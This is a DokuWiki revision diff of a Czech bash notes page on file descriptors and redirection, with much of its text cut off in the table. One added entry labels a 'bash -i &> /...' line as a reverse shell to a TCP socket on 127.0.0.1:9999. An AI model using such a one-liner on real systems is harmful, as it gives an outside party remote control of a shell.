bash_general
Rozdíly
Zde můžete vidět rozdíly mezi vybranou verzí a aktuální verzí dané stránky.
| Obě strany předchozí revizePředchozí verzeNásledující verze | Předchozí verze | ||
| bash_general [2021/08/06 12:01] – [Řetězce] djbuldog | bash_general [2025/08/28 10:09] (aktuální) – upraveno mimo DokuWiki 127.0.0.1 | ||
|---|---|---|---|
| Řádek 92: | Řádek 92: | ||
| ===== vstupy/ | ===== vstupy/ | ||
| - | * STDIN - file descriptor 0 | + | * standardní |
| - | * STDOUT | + | * 0 STDIN |
| - | * STDERR - file descriptor | + | * 1 STDOUT |
| + | * 2 STDERR | ||
| + | |||
| + | * otevři soubor /tmp/x pro zápis jako STDOUT | ||
| + | |||
| + | exec > /tmp/x | ||
| + | echo " | ||
| + | |||
| + | echo " | ||
| + | |||
| + | * zduplikuj FD 2 na FD 1 | ||
| + | |||
| + | exec 2>& | ||
| + | |||
| + | * nastav FD1 + FD2 na /tmp/x | ||
| + | |||
| + | exec &> /tmp/x | ||
| + | |||
| + | * nastav stdin na stejný fd jeako stdout | ||
| + | |||
| + | 0>& | ||
| + | |||
| + | 0<& | ||
| + | |||
| + | <& | ||
| + | |||
| + | * reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu | ||
| + | |||
| + | bash -i &> / | ||
| - | * ve file desk | ||
bash_general.1628244061.txt.gz · Poslední úprava: (upraveno mimo DokuWiki)
